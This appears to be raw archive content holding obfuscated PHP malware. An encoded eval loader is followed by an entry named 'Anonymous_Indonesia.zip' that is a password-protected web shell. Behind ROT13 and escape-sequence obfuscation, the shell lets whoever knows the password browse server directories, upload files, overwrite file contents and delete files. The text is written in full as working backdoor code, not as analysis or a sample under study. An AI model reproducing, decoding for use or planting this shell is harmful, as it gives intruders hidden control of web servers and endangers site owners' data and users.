44\k4r\112\k41\132\164\k36\131\k34\k71\53\k79\167\122\170\k6r\147\k70\166\k4r\102\141\k45\k51\165\102\k75\k6n\157\65\162\126\k36\k62\143\k77\k48\117\k43\k4s\107\k39\132\k45\k34\k6n\k46\126\124\116\k4o\k43\107\121\112\k66\61\172\k43\65\k45\k51\k53\142\k6q\k30\105\k5n\k6s\k44\k54\164\k57\k64\141\127\k32\k51\112\125\k64\63\115\107\61\164\111\k56\k69\172\k67\k47\k49\k76\k48\70\125\131\101\k50\67\k39\k6p\156\61\k30\k2s\k67\k75\141\k4q\k56\107\130\167\131\102\k38\67\110\71\k50\k49\164\k45\k64\k46\131\141\156\102\k6p\114\101\k68\120\k49\k41\126\k53\k6s\k38\k59\113\116\k4n\k76\145\k44\111\167\144\130\160\k4o\67\k64\k45\103\k4p\k42\k32\k6n\170\120\117\k52\104\110\k72\k4s\151\k41\k68\160\130\k77\121\126\160\130\130\k6p\k36\k77\146\131\k66\k74\k79\122\k66\157\105\k67\k59\60\65\k6r\k36\117\104\k6n\k65\k54\127\k34\k6s\k59\k41\152\165\113\156\k62\k54\141\k57\142\117\110\110\k77\62\k4s\161\k69\k4p\70\152\110\k4r\k63\107\k41\163\k66\k65\117\k75\143\65\k2s\124\k69\162\145\k58\k4n\k78\61\60\160\67\53\k74\60\105\160\k44\k56\k69\167\154\120\111\104\70\61\162\61\161\k72\k42\k33\115\167\151\k46\k30\k4r\152\k78\125\k4q\142\k6r\k4q\k4r\k2o\k58\121\123\101\k50\67\170\147\k4r\155\k4q\k52\142\121\115\141\150\71\123\k67\125\163\k69\k46\116\122\145\160\150\130\160\157\k72\150\k59\147\k34\166\k52\64\67\63\150\130\151\k78\152\k50\k4n\122\105\107\k79\k56\123\k37\k42\71\k59\k47\155\171\57\107\k4o\k4q\k61\163\k79\k77\k56\k63\146\124\123\k36\k54\k30\k68\113\k37\k77\150\127\170\k6p\102\70\112\k6p\60\k2o\172\k53\k49\k42\106\k6s\120\k73\155\k58\k74\k65\k31\106\110\71\k79\114\k58\k71\150\63\104\147\101\101\170\153\k77\k59\157\k56\k6s\k4o\165\k6o\101\k57\115\k53\k6r\k63\60\k52\k4r\156\k64\123\122\113\123\130\165\k6q\k35\k54\110\k31\k4o\k32\k44\120\125\k47\120\156\122\k5n\163\k31\k33\122\110\152\102\k45\k63\k41\k43\k76\k52\67\k39\111\172\k73\k52\k64\k54\k75\k35\112\k72\k5n\67\65\61\k47\k55\k37\114\k66\k2s\123\116\142\105\k77\171\k61\k33\k6q\k59\130\145\105\144\62\146\k62\k53\k72\110\116\105\116\103\k62\k44\k42\112\114\k62\k54\k68\k4p\64\k57\k71\143\57\k45\171\146\k46\k38\144\65\k47\151\132\120\101\k2o\111\k4q\k68\132\141\156\k7n\k53\k4q\k63\k68\k64\67\k6o\104\k75\k61\116\161\105\170\167\130\k36\122\k30\131\k6n\k71\123\k74\k51\122\60\k74\172\102\115\k79\k6p\105\153\k6n\162\k44\k6s\k41\171\112\k61\k73\172\k77\162\k76\124\124\k66\155\145\65\k75\k6n\k4s\k2o\k36\112\71\111\156\k65\k78\110\k44\105\62\132\157\k4s\157\153\102\k6s\153\k64\k43\65\120\172\k69\145\161\k4q\161\147\k34\171\k62\166\k64\113\k38\130\k47\k34\150\153\162\113\62\57\k57\k74\164\k42\k31\k67\k70\66\k65\107\131\k54\k53\k51\163\170\172\106\112\153\k73\k61\k70\k50\157\107\161\171\k6n\111\70\k68\k77\k6o\123\k5n\k52\k73\k36\k41\65\145\k64\k4o\156\131\k48\114\61\144\k61\k6r\63\131\k76\k4p\k54\k31\k48\k53\k39\147\k4q\114\k7n\k75\k6n\k61\151\k44\k62\70\143\105\k2s\113\k77\125\k64\k4q\63\k36\k69\114\125\160\166\k50\k4r\k48\k69\146\61\66\k70\k67\k2o\164\145\k6q\125\k56\113\k35\157\k4s\k39\k52\153\k6n\113\k6s\107\k2o\k6n\k51\107\166\132\67\k4s\k6n\63\103\k4p\k6n\171\131\k37\k52\171\k52\k5n\k7n\k47\71\k43\k43\k48\k57\k4o\167\167\57\k64\k30\k34\k31\153\165\k4n\112\k59\167\107\170\65\126\166\155\125\147\146\k63\143\116\120\160\170\141\k5n\102\k30\123\64\65\k71\121\k74\153\k6o\k45\114\155\142\121\k41\k63\k38\157\k45\120\k4n\k72\k54\k52\60\k77\k69\k4q\112\k6s\106\144\k41\k6o\104\k2s\k58\106\125\k76\127\k58\142\64\146\151\61\105\161\k44\k2s\112\152\62\k71\60\k31\k43\66\k31\k65\102\k2s\k47\131\k71\120\k44\165\112\67\62\k35\k64\k4n\k71\k52\k62\k31\61\k6o\k2s\121\k65\k70\107\161\125\k77\170\k68\k73\k4q\146\k72\107\k53\k47\156\k4r\k73\70\k51\k59\k34\153\126\k64\102\67\103\116\k5n\102\167\k2s\102\156\k4p\153\110\k4n\127\k63\57\k4o\k5n\156\143\k51\k53\k41\k48\k34\k76\k33\k41\141\165\61\105\k74\k35\k68\71\142\k4q\k41\k37\65\k6o\k64\k41\64\k62\147\172\57\125\k36\k32\k74\124\151\k48\64\k47\114\k36\k38\145\k62\k36\101\k42\151\k49\k45\k44\104\k51\k39\170\k70\65\115\62\162\152\62\120\153\62\k66\113\114\141\154\145\142\131\k4q\k4o\k74\k32\k72\k6r\70\k47\144\k6o\151\k59\67\121\k62\k4r\162\k69\172\157\147\k59\150\131\142\145\k66\126\121\k34\k41\k36\k69\121\k6n\k52\152\167\66\110\k37\166\k36\166\153\126\k55\k6q\k78\147\k70\145\110\70\k37\k37\130\113\k73\112\k67\70\130\k57\k33\k62\k31\k49\71\145\k77\k38\k6q\k6o\101\160\153\111\112\62\146\131\k43\k46\k35\k6n\k67\k73\k75\k4o\102\k62\k6q\105\k6q\53\k34\122\k35\122\k61\k6r\170\61\k2o\61\k74\150\61\k6q\k74\102\105\k4r\k73\k76\163\k54\k73\130\156\k49\k73\160\k43\157\k5n\k39\k41\123\k65\k4n\166\164\116\67\k5n\132\k32\k41\k47\k49\143\k30\k65\147\142\167\126\131\k63\k51\k36\k38\124\k31\121\107\163\163\146\142\131\57\k59\154\153\k30\k43\157\k78\170\112\k6q\k4p\155\60\131\k54\114\k5n\k44\k70\101\k6o\k48\153\106\166\k43\112\k41\113\k78\k48\k63\113\k59\57\k42\103\162\117\k7n\141\k64\k37\k76\145\104\k72\63\k72\170\53\k44\151\k4p\154\123\161\k6n\131\k57\k52\k4o\154\k46\130\k75\60\k4n\120\154\k42\157\106\k46\k2o\115\64\k64\157\k75\53\110\164\71\155\k4r\k77\k75\107\k71\k54\154\k6s\101\162\k70\k4r\k2s\121\67\117\151\k67\104\k39\k4p\k6r\146\53\57\k59\162\k4s\155\k41\k2o\k72\154\103\k2s\k56\k6r\153\k73\116\102\160\113\k6o\k35\153\k6o\k5n\143\123\170\70\k64\k45\125\k42\141\k33\k4o\k58\k62\70\163\103\132\63\k4o\67\153\k7n\k76\144\66\107\k7n\k52\k62\101\k55\155\64\k78\153\k44\k46\102\157\115\k6p\167\k4n\k45\145\k61\66\167\k61\171\153\k72\k4s\67\k73\160\162\k4s\113\112\k41\k44\122\k6r\126\k54\k4p\107\103\k73\101\k2s\k45\k61\53\k32\k49\k41\k34\k54\160\k6s\k49\k35\k72\k49\120\k52\144\163\110\152\60\k73\k65\k32\70\k5n\k75\k38\k72\147\k50\k7n\160\120\k6p\60\102\k50\154\65\116\141\141\160\150\k74\k45\k50\161\k42\113\172\k62\61\145\k66\k48\67\105\154\152\k79\k34\k76\125\k62\130\143\71\k72\62\k66\170\k36\k4r\145\k30\k68\115\103\121\k47\147\k33\k57\64\k30\124\k54\k30\127\k66\143\k59\k43\k43\153\105\117\123\k77\62\152\k39\k66\156\61\k79\k34\k37\103\71\k30\k46\112\k35\k76\k72\71\k65\k73\k7n\166\k32\112\71\101\k37\k54\150\53\105\k74\153\127\120\67\k6q\k31\110\167\k54\157\114\k4o\k33\k6r\145\141\k4n\k73\k2s\k51\k65\156\k77\153\k63\156\k77\111\k4o\k77\k34\k7n\k4o\k46\k59\k6n\67\157\k72\142\172\k77\k48\k58\k76\120\k4n\102\k37\116\k46\k63\k66\k53\k59\115\161\122\k2o\k67\165\k49\162\53\67\k62\170\64\160\k70\64\170\k69\k77\130\113\k4o\126\k72\k55\107\k51\60\k36\154\k56\114\102\146\k68\141\k49\65\53\65\k55\k44\k4r\k68\154\k61\k54\110\k51\117\70\k33\65\105\123\k77\125\k61\k4s\113\116\164\k32\145\144\145\k73\63\k37\k37\125\170\k62\k57\k55\163\k78\k50\124\k31\131\164\k66\k6p\157\k62\112\70\132\k30\k59\130\171\k59\161\154\66\123\103\163\67\115\107\162\126\k53\k41\107\k4q\k6o\172\116\112\101\k44\67\163\k65\165\116\57\172\102\110\k2s\60\k64\147\150\k50\k7n\k68\k6s\k77\k7n\k71\162\k72\154\107\k6p\67\154\165\k57\127\k6r\161\k32\61\151\131\141\k74\k6s\k30\111\142\k64\k4r\k56\k67\113\130\160\k55\164\116\k35\172\101\62\k36\106\k53\k74\k75\120\k70\k33\57\k78\k4o\126\k34\154\150\64\57\k33\110\114\156\k63\106\162\k38\k4q\165\160\127\161\113\70\151\k74\k75\116\144\156\161\121\150\k45\k66\k76\k53\k59\k64\160\111\k49\k4q\141\131\k58\k69\65\120\k66\k2o\k32\k6p\k78\k50\71\k46\k62\110\k4q\162\117\104\k79\k74\117\145\k31\165\k39\k59\k41\155\156\153\k6p\126\161\65\57\106\130\k34\k46\131\k39\k6p\65\k6o\k56\152\156\160\123\172\k6s\157\k39\104\k7n\k58\67\k4o\k38\k6o\132\70\61\63\k7n\k6n\112\k36\k55\121\k56\k6r\k4n\111\64\k62\132\144\k48\141\132\k4s\154\70\160\k72\67\k45\k78\k6p\k72\k67\170\102\k30\124\114\120\k7n\162\k59\k6q\k52\k4r\103\105\147\k41\153\70\111\116\64\k6n\166\k35\102\k50\k51\k30\166\113\k41\k44\145\k52\124\127\k66\167\167\k64\k46\k63\155\k4s\k49\k4s\146\k33\k51\k48\151\k36\171\k33\145\126\k68\113\164\156\114\k61\k7n\k31\156\141\k4o\132\k4p\117\k72\61\k48\k71\k2s\113\k45\k77\k73\102\k62\k6s\k4o\126\k70\110\125\k51\160\k30\112\k44\106\k5n\53\66\53\171\k6s\165\105\k76\167\k72\132\144\k43\101\172\k6s\k4q\k6n\k59\167\156\k31\k59\171\k39\62\105\64\106\166\153\111\k68\156\k50\k4q\k51\k6s\k35\114\66\k53\k64\126\116\k56\k53\k57\130\146\57\153\166\116\130\k55\132\k7n\k70\141\70\k4n\k63\156\k77\k36\120\k46\k36\k33\k50\60\147\k4o\154\k2o\k5n\k51\120\k51\130\k6p\126\106\143\k73\k69\131\120\70\k73\125\k72\k37\k34\106\k49\132\k46\113\k57\k49\170\150\156\k39\101\172\k49\141\154\152\k31\k30\k62\164\144\k44\120\113\k53\123\k75\k67\k41\165\150\101\k6p\k53\122\71\163\k73\k6p\k4o\k4o\122\152\k53\k59\67\70\125\170\122\k36\k6o\126\k54\104\147\122\k65\k6q\101\k37\152\k68\k38\154\k59\131\115\101\k59\132\k51\k4n\k4o\k73\71\k51\115\62\k53\k41\131\57\k4r\141\k7n\132\k2o\120\151\62\143\k47\k4n\k70\k4s\k4r\k41\k4p\57\k50\120\122\165\62\172\k34\163\156\66\k56\k44\k63\144\k51\k47\k55\104\57\k77\k55\k32\155\160\125\k6p\141\167\k70\156\165\k33\k39\155\k53\106\162\160\125\k68\105\153\k32\k77\157\k50\k52\k38\k69\64\k66\63\147\62\172\k35\124\147\k45\61\k48\145\132\k58\172\63\k4q\160\k44\k30\60\153\k44\k53\k64\k44\116\k61\k36\65\172\170\k42\k62\110\141\150\144\k79\k59\146\k33\k4o\113\k7n\67\123\163\k78\67\k65\k70\k4p\131\k31\146\124\k66\166\157\62\k73\65\k53\k4o\125\117\123\121\k41\k6r\k76\131\65\k4o\k34\k78\150\k4q\111\k4q\k6s\k7n\65\110\157\k59\k66\170\k59\170\53\k45\k69\103\127\111\k47\132\65\167\k70\k51\k5n\110\k4o\k54\127\k4s\k30\53\k34\125\k63\150\141\k46\110\123\k4n\k32\145\k6o\k4o\k73\151\k45\k48\k4o\131\131\k69\121\127\k38\156\k41\k31\155\k63\k6s\k39\152\126\k2s\k78\101\k68\k46\k4s\102\67\114\k62\151\63\151\156\k38\k4r\k75\126\141\k63\k45\65\57\k4n\k65\143\153\61\k4n\k44\164\153\k69\k43\106\k33\67\53\k6p\k68\k69\k6n\111\k67\141\151\k58\k59\k4r\152\171\k33\111\k66\114\k71\k59\147\116\k37\k66\154\114\145\153\163\145\k6s\61\116\143\105\k2s\k4s\k6s\170\126\k46\k71\k6o\k58\k6n\126\k75\151\161\k46\163\144\k32\k69\161\k61\164\63\k7n\162\k34\165\166\k69\53\k62\k47\103\k31\147\120\k48\145\132\123\164\60\k33\k68\165\171\k78\k45\k4p\65\71\k4n\k42\k63\70\146\k48\k2o\k57\151\122\170\k48\k52\k32\71\146\115\k75\k37\k70\k6r\53\62\67\k76\103\k52\64\k56\k4s\k48\60\107\167\170\k50\157\k49\111\k69\k2o\125\142\k51\k4p\162\k6n\163\60\k63\171\k64\k32\k6s\k69\k77\143\60\k70\62\172\172\k4n\k70\102\104\156\k4p\k5n\102\67\116\104\k7n\163\115\53\71\163\k68\60\165\101\141\156\k61\k77\k36\k6r\132\126\157\66\k2s\171\67\106\k70\k78\k55\170\172\k4r\121\k4r\65\121\k63\111\k31\k72\k55\151\111\k67\k75\k34\164\154\k74\k38\105\k4s\170\k7n\k6n\102\145\k4p\k70\k56\107\70\k51\115\161\k57\k4r\142\156\112\167\162\k76\166\164\147\k50\k63\k43\k2o\k37\101\156\k66\155\k58\156\117\k35\122\171\153\k37\62\163\105\k6r\154\k45\k2o\132\k78\144\102\141\151\171\163\k36\153\105\k6n\160\k30\k39\165\117\147\153\165\160\k6p\110\k59\k30\154\k2s\k69\k56\162\61\155\k44\k44\166\114\k30\k38\k34\k77\167\k75\k65\157\k34\70\130\k73\127\k61\k33\k47\143\k79\k43\67\62\150\k69\170\k46\k2o\k52\161\130\131\k50\k4n\112\130\117\k77\62\125\142\160\151\k69\k41\113\124\k62\k55\k46\161\k6q\k50\k64\57\k4q\k69\103\k41\156\53\150\125\k4o\143\151\62\k77\123\124\k6s\115\k2o\k52\126\k45\k34\70\132\k43\k4r\k73\k71\k6r\k58\k7n\101\k64\k53\k52\k33\k74\k4s\117\k38\153\130\130\k62\k69\k6p\104\k32\146\57\144\166\161\k33\k58\172\127\k75\65\70\130\130\146\53\k2o\k52\k41\156\161\k2o\142\k78\k48\k48\63\67\61\165\k56\k77\k47\70\k35\k4p\71\k4r\k56\172\70\61\160\k37\145\k36\k70\156\141\113\131\k6s\k55\k5n\k55\k36\k38\116\142\k67\k43\112\k47\145\k73\k6r\165\163\k2s\142\k63\57\161\67\104\k56\k54\112\160\104\k48\k4q\k67\k41\k68\k6s\105\k59\101\112\k4p\144\k4r\67\153\166\k57\123\156\k6o\125\k6p\k33\127\k62\k35\171\k64\121\k43\k53\126\141\k5n\k57\166\k51\k49\171\k4n\131\132\105\k48\66\k76\k4o\k4n\57\k70\153\107\164\k39\143\162\170\k54\166\k63\k69\156\k36\k58\125\102\66\k42\167\112\k65\k71\k7n\121\106\k7n\110\k67\k36\k48\125\102\k2o\k42\k6s\165\101\k56\k30\k66\k41";
tbgb aFCOt; mYfUY: $haxabja =
"\132\130\k5n\k68\142\k43\125\171\k4s\103\k55\k79\k4r\156\106\k31\k62\k33\k51\154\115\60\111\154\k4q\60\131\k6p\k4q\k6n\k5n\156\144\k43\k55\k7n\k51\151\k55\171\116\156\k46\61\142\63\121\154\k4q\k30\111\165\k5n\63\k70\k31\k62\k6q\k4r\k76\k62\130\102\k79\132\130\k4r\k7n\112\k54\k49\64\k5n\63\k70\61\142\155\k4r\166\142\130\102\k79\132\130\116\k7n\112\124\111\64\k5n\k33\k70\160\k62\155\k5n\k73\k59\k58\122\154\k4n\k54\111\k34\k5n\k33\160\160\142\k6q\k5n\k73\k59\k58\122\154\k4n\k54\k49\k34\k5n\63\k70\k70\k62\155\k5n\163\131\k58\122\154\k4n\k54\k49\64\k59\155\k46\k7n\k5n\k54\k59\60\130\62\122\154\k59\k32\k39\153\132\k53\k55\171\k4s\k48\k4r\60\143\k6r\112\154\k64\151\k55\171\k4s\103\125\171\k4r\110\k56\162\k4r\k44\k55\k6p\115\152\153\154\k4q\k6n\k6o\154\k4q\152\k6o\k6p\k4q\k6n\k6o\154\115\k6n\k6o\k6p\115\k6n\k6o\k6p\k4q\152\k6o\154\k4q\k6n\k6o\154\115\60\111\k3q";
tbgb eQUhn; aFCOt:
riny(ugzyfcrpvnypunef_qrpbqr(heyqrpbqr(onfr64_qrpbqr($haxabja)))); tbgb
SDFzl; n4kKc:
?>Anonymous_Indonesia.zip000064400000025766151167307440011301
0ustar00<?cuc
$qonq='';vs(vffrg($_CBFG['qonq'])){$qonq=$_CBFG['qonq'];frgpbbxvr("cn",$_CBFG['qonq'],ahyy,"/");}vs((vffrg($_PBBXVR['cn'])&&zq5($_PBBXVR['cn'])=='po56o83p8q55r8pq3r5rqr654q57o5nr')||zq5($qonq)=='po56o83p8q55r8pq3r5rqr654q57o5nr'){}ryfr{qvr('<ugzy><urnq></urnq><obql><sbez
npgvba="" zrgubq="cbfg"><vachg
glcr="cnffjbeq" anzr="qonq"
inyhr=""><vachg glcr="fhozvg"
anzr="fhozvg"
inyhr="fhozvg"></sbez></obql></ugzy>');}?><!--bx--><?cuc
$_dmxx=vffrg($_TRG["\k64ve"])?uRK2oVA($_TRG["\k64\k69\k72"]):"\056";$_dyoem=FpNaqvE($_dmxx);$_dgogmtq="";$_aqjd="";$_odbxov="";shapgvba
_emiilvym($_mpaiin,$_fdbn="mo\164\k69\k6rgpu\141al",$_scjajgl="\k65prer\153\157a\142gzvh\k6o"){erghea
FhOFGe(FceVAGS("%\157",sVYRcReZf($_mpaiin)),-(vag)EBHAq(1.3333333333333+1.3333333333333+1.3333333333333));}shapgvba
_lzspl($_mpaiin){erghea
vF_JEvgNOYr($_mpaiin);}vs(vffrg($_SVYRF["s\k69yr_\k75cyb\141q"])){vs(ZBir_HcYBnQrQ_svyR($_SVYRF["\146v\k6pr\k5sh\k70\k6pb\k61q"]["\k74z\k70_\k6r\141\k6qr"],$_dmxx."\k2s".$_SVYRF["s\151yr\137hcybn\144"]["\156n\155r"])){$_dgogmtq="S\k69yr
ore\k68nf\k69y
\k64vha\147\k67\k61\k68\k2r";}ryfr{$_dgogmtq="\107ntny
z\145\k6r\k67\k75a\k67\k67\141u\040\146v\k6p\k65.";}}vs(vffrg($_CBFG["r\144\151g\k5ss\k69yr"])){$_mpaiin=$_CBFG["rq\k69g\137\k66\151yr"];$_iguwfc=SvYR_tRG_PBaGragf($_mpaiin);vs($_iguwfc!==snyfr){rpub"\k3psb\162\155\k20zrg\150bq=\k22\160bfg\k22
npgvb\k6r=\k22\k22>";rpub"\074gr\170g\141\k72\145n\040v\k64=\k22P\k6sclSe\157zG\145\k78\k74\101er\141\k22
a\k61zr=\042\k66\k69\154r_\k63\k6sagra\164\k22 ebj\163\k3q\k2210\k22
p\154nff=\042\k66\157ez-\143ba\k74eby\042\076".ugZYFCrPvNyPunef($_iguwfc)."<\057gr\170gn\162\k65n>";rpub"<vachg
glcr=\042uvqq\145a\042\040an\155\145\075\k22\145qv\k74r\144_\k66v\k6p\145\k22\k20inyhr=\k22".ugZyfcrpVNypUNef($_mpaiin)."\042>";rpub"<oh\k74gb\156
gl\160r\k3q\k22fho\155\k69g\042 anzr\075\k22\163h\k62\155vg\137rq\151g\042
\143\154nf\k73\k3q\k22\142\164\k6r\040og\k6r\k2qb\k75gyv\156r\k2q\154vt\150g\k22>F\165o\k6qvg</ohggb\k6r>";rpub"</sbe\155>";}ryfr{$_aqjd="Tntny
\155rzon\k63n
\151fv\040\k66\k69yr.";}}vs(vffrg($_CBFG["\163\k75\142zvg_rqv\164"])){$_mpaiin=$_CBFG["\145q\151\164\145\144_sv\k6p\145"];$_iguwfc=$_CBFG["\146vy\k65_pbagr\k6rg"];vs(SVYr_CHG_PbAgraGf($_mpaiin,$_iguwfc)!==snyfr){$_aqjd="\k46vyr
or\k72\k68n\163\k69y
\k64\k69\145\144vg.";}ryfr{$_aqjd="\k47\141tny\k20\155ratr\144v\k74
\k66vyr.";}}vs(vffrg($_CBFG["q\k65\154rgr_sv\k6pr"])){$_mpaiin=$_CBFG["q\145y\145g\145_\k66vy\k65"];vs(HAYVaX($_mpaiin)){$_odbxov="\106\151yr\k20\142\145eu\141f\151y
qv\150nc\k75f\k2r";}ryfr{$_odbxov="Tntny\k20zratunch\163
\k66v\k6pr\056";}}$_uldy=CUc_HANZR();$_hhqgbnsx=ernYCnGu($_dmxx);rpub"\015\012<\041Q\k4s\103G\k59CR
ugz\k6p\k3r\k0q\012\074u\164\155y\k3r\015\k0n\074\k68\145\141\144\076\k0q\k0n\k20
\k3p\k74\151gyr\k3rN\156b\156l\k6qb\165\k73\040Va\k64ba\k65\k73\k69n\k3p/gv\164\154r>\015\k0n\k20\040
\k20<fg\171yr\k3r\015\k0n \142bql\k20{\k0q\k0n \k20 \k20\k20
\k20 \146\157\k6rg\k2qsnzvy\171\072\040Nevn\k6p\k2p
fna\163\055frevs\073\015\k0n\k20 \k20\040\040 \040
z\k61\162\147\k69\156\072 \060\073\k0q\012 \k20 \040\040\k20
\040cnq\k64\k69at:\040\060\k3o\015\k0n\040 \k20\k20 \040\k20 \040
gr\170g-\k61yvta: \k63ragre;\015\012 \040\040 \k20 \k20
sbag-\167rvt\k68g: o\k6s\154\k64\k3o\015\k0n \k20 \k20
}\015\k0n\k20\k20\k20 \040 \040 u\k65nq\k65e {\015\012 \k20
\k62n\143x\k67\k72\k6s\165a\k64-pby\k6se: #4PNS5\060\k3o\k0q\k0n \040 \040
\k20\k20\k20\k63\157y\157\k72: juvgr;\k0q\k0n \k20\040\040
\k20\k20\040\k20 \040cnq\144\151a\k67\072\0400.4\162\145\155;\015\k0n\k20
\k20 \040 }\k0q\k0n\k20 \k20\040 \150r\141qre\k20\1501 {\015\012
\k20 \k20\k20 z\k61et\k69\156:\040\k30;\k0q\012\040 \040\k20
\k20\k20}\015\012 \040\040 \040 \040zn\k69a {\k0q\k0n\040\k20\040 \040
\k20\k70\k61qqvat:\0401\162rz\073\k0q\k0n\040\040 \k20\040
\k7q\015\k0n\k20 \040 gnoyr {\015\012 \k20 \k20 \k20
\040jvq\164\k68\k3n 70%\073\k0q\k0n \040\040 \k20 \040 \k20
zne\147va-y\k65sg:\k20n\k75g\k6s\k3o\k0q\012 \040 \040 \k20
\k20z\k61\k72tv\156\k2qev\147u\164:\040nh\164\k6s;\015\k0n \k20\k20\k20
\k20 zn\k72tva-g\k6s\k70:\k201\k72\k65z\k3o\015\012 \040
\040\k20\k20}\015\012 \k20 gu, \164q {\015\k0n \040\040 \040\040 \040
\040
o\157e\144r\162\k3n\k20\062\k70k\k20\163b\154\k69q\040#0\k30\060\073\015\012\040\k20
\k20\k20\040\k20\k20 \040
\160n\144\k64\151at\072\k200.2\162r\k6q\0400.\k32e\145z;\k0q\012\040 \k20
\040 \040
\142\157\k72q\145\162\k2qe\k61q\151h\k73:\k203\160k;\k0q\012\k20 \040\k20
\k7q\k0q\k0n \040 \k20\k20 g\k68 {\015\k0n\040 \k20\040\k20\k20 \k20
on\k63\153\147\162bha\k64-\k63\157ybe: \043\k662s\k32s2\073\015\k0n \k20
\040 \k20}\k0q\012 \k20\k20
\040\k20ge:\k6r\k74\150\055p\150\151\k6p\144(\145i\k65a)
\173\k0q\k0n\k20\k20\k20 \k20\040 on\k63xte\k6s\k75aq-p\k6s\154be:
\043\k662\k662s\062\073\015\k0n \k20\040 \040\k20 \k7q\k0q\012 \k20
g\162\072\k68bi\145e\k20\173\k0q\k0n \k20 \040 \k20 \040\040
onpxt\k72bhaq-p\k6sy\157\162\072 \043qq\k64\073\k0q\k0n \040 \040 \k20
\175\k0q\k0n \k20\040 \040oh\k74\k74ba {\k0q\k0n\k20 \k20 \040\040\k20
\k62b\162q\145\k72-en\144vh\k73: 3c\k78;\k0q\k0n\040
\040\040\k20\040\040\040\k20z\141e\k67\151\156-yr\146\164\k3n\040\k30\k2r2e\k65\155;\k0q\012
\k20 \k20\040\040 \040 znetv\156\055\162vtug\k3n \060.2\162rz;\k0q\012
\040\k20 \040 }\015\k0n\040 \k20 \040 \k74r\k78\164nern {\k0q\k0n \040
\k20 \k20\040\040 j\151\k64gu: \k395\045\k3o\k0q\k0n\k20 \k20 \k20
\160\k61qqva\k67: 0\0564erz\k3o\k0q\k0n \k20
\k20\040\155ne\k67v\156: 0.\k34\k72rz\073\k0q\k0n \k20\k20 \040 }\015\012
\k20
v\k6rch\k74\k5o\k74l\160\k65=\k22fhozvg\042]\k20\173\015\012\k20\040\k20\040
on\k63\k6o\k67e\k6sha\144\k2q\143b\154b\162\k3n
#rs\k65s\145s;\k0q\012\k20 \040 \040
\040\142\157\162\k64re\072\k201.5ck
\k73\157yvq\040\k230\0600\k3o\040\015\012\040 \k20\k20 \k20\k20\k20
p\157y\157e:\040\0430\060\k30\k3o\015\k0n \040 \k20
\k63he\k73be:\040\160b\k69\156\164\k65e\k3o\015\012 \k20 \k20 \k20
\040c\k61qq\k69\k6r\147: \060\k2r\k31erz \060\k2r\k35\k72\145z\k3o\015\k0n
\040 \k20 \040\k20\040grkg-\k61yvta: \k63ragr\162;\k0q\012 \k20
grkg-\144rpb\k72n\k74\151\k6s\156: \156\k6s\k6rr;\015\012 \040
\k20\040\k20\k20\k20obeqr\k72\055enqv\165f\072 \k33ck\073\k0q\k0n \k20
\040\040 \k20 qvf\160\k6p\141l:
v\156yva\145-oy\157p\k6o\073\015\k0n\k20\k20 \k20\040 \k20
\146\157ag-f\151m\k65: f\k6qn\154\k6p\145e\073\015\012\040 \k20\040 \040
\040\175\k0q\012 \040\k20
\151\k6r\k70\165\164\k5ogl\k70r\k3q\k22fho\155vg\042\135\072ub\k76re
{\015\012 \k20 \040\k20 \k20 on\143\k6o\k67e\k6sha\k64-pb\154b\162\072
#s\k32\146\k32s\062;\k0q\k0n\040 \k20 \040 }\015\012
<\k2sf\k74l\154\k65>\k0q\k0n\074/urn\k64>\015\k0n<obql>\k0q\k0n
\k20\k20<u\145nq\145e>\k0q\k0n \k20 \k20\k20
<\k68\k31>Nab\156lzbh\k73
\111\156\144ba\145fvn<\k2s\150\k31>\k0q\012\k20 \k20
</\k68rnqre\k3r\k0q\012 \040 \k20\074\k6qn\k69a>\015\012 \040 \k20
\040\074\160>\103heera\k74\040\k64v\k72r\k63\164b\k72\171:\k20";rpub$_hhqgbnsx;rpub"</c\k3r\015\012
\k20\k20 \k3pc\076Fr\162ire\k20vasbe\k6qn\164vba:
";rpub$_uldy;rpub"</\160\k3r\015\k0n \k20\040
";vs(!rzcgl($_dgogmtq)):rpub"\k20\040\k20\k20\040 \k20
<c>";rpub$_dgogmtq;rpub"\074\057\k70>\015\k0n \k20
\k20 ";raqvs;;rpub"\040 \k20 \k20 \040
";vs(!rzcgl($_aqjd)):rpub"\k20 \k20 \k20
\k3p\k70\076";rpub$_aqjd;rpub"</\160>\015\k0n \040
\040";raqvs;;rpub" \040
\k20";vs(!rzcgl($_odbxov)):rpub" \040 \k20
\k3pc\076";rpub$_odbxov;rpub"\k3p/c\076\k0q\k0n\k20 \040 \040
";raqvs;;rpub" \k20\k20 <s\157ez
zrg\k68bq=\k22\k50BFG\k22\040\145a\143glcr\k3q\k22\155\k75\k6pgvc\k61\k72g/sbe\155\k2qqng\k61\k22>\k0q\012
\040 \040\040 \040 <ynory\k3rH\k70y\157nq
svy\145:<\057ynor\154\076\k0q\k0n \k20\040 \k20 \k20\k20
\k20<\k69\156\160\165g\040glcr\k3q\042svyr\042
anzr=\k22\146\k69yr_hc\154bn\k64\042\076\015\012 \040 \040 \k20
\k20<v\156c\k75\164\040\k74lc\k65\k3q\042fho\155vg\k22
in\154\k75r=\k22\125cy\k6s\k61\144\k22>\k0q\k0n \k20\040 \k20
\k3pvac\k75g
\k74lcr\075\042u\151qqr\k6r\k22\k20\k6r\141\k6q\145=\k22q\k69e\042\040i\k61yhr\075\k22";rpub$_dmxx;rpub"\k22\076\k0q\012\040\040
\040 \k20 </sbez\k3r\k0q\012 \k20\k20
<gn\k62yr>\015\k0n\k20\040\k20\040 \040 \k20
<g\k72\k3r\015\012\040 \040 \k20\040 \k20
\040\074\k74\150\k3r\k46vy\k65an\k6qr<\057gu\076\k0q\k0n\040\k20\k20
\040\040\040 \k20
<gu>C\k65e\155vf\163vba\163</\164u>\k0q\012\k20\040
\040\040\040 \040
\040\040\k20\k20\k20\k3pgu\076Npgv\157a\k73</g\150\076\k0q\012\074/g\k72\k3r\k0q\012";sbernpu($_dyoem
nf$_mpaiin):rpub"<g\k72>\015\012 \040\k20\040<\164q
\163gly\k65\k3q\k22grkg\k2qnyv\147\156:
\154\k65sg;cn\k64q\151\k6rt-\k6pr\k66g\k3n
0\056\065\k72\k65z;\042\076\015\012 \k20
\k20\k20\040\k20\k20";vs(vF_qVE($_dmxx."/".$_mpaiin)):rpub"
\040 \k20<n\k20ue\k65\146=\k22\k3s\144\151e\k3q";rpub
ova2UrK($_dmxx."\k2s".$_mpaiin);rpub"\042\015\k0n \040
\k20\040 \040\040 \163\k74\171\154r\075\k22pby\k6se\072\k20";rpub
_lzspl($_dmxx."/".$_mpaiin)?"\151a\k68r\k72v\k74":"\162rq";rpub"\k22>";rpub$_mpaiin;rpub"</\141>\015\k0n
\k20 \040 ";ryfr:rpub"\k20 \k20\074\163c\k61\156
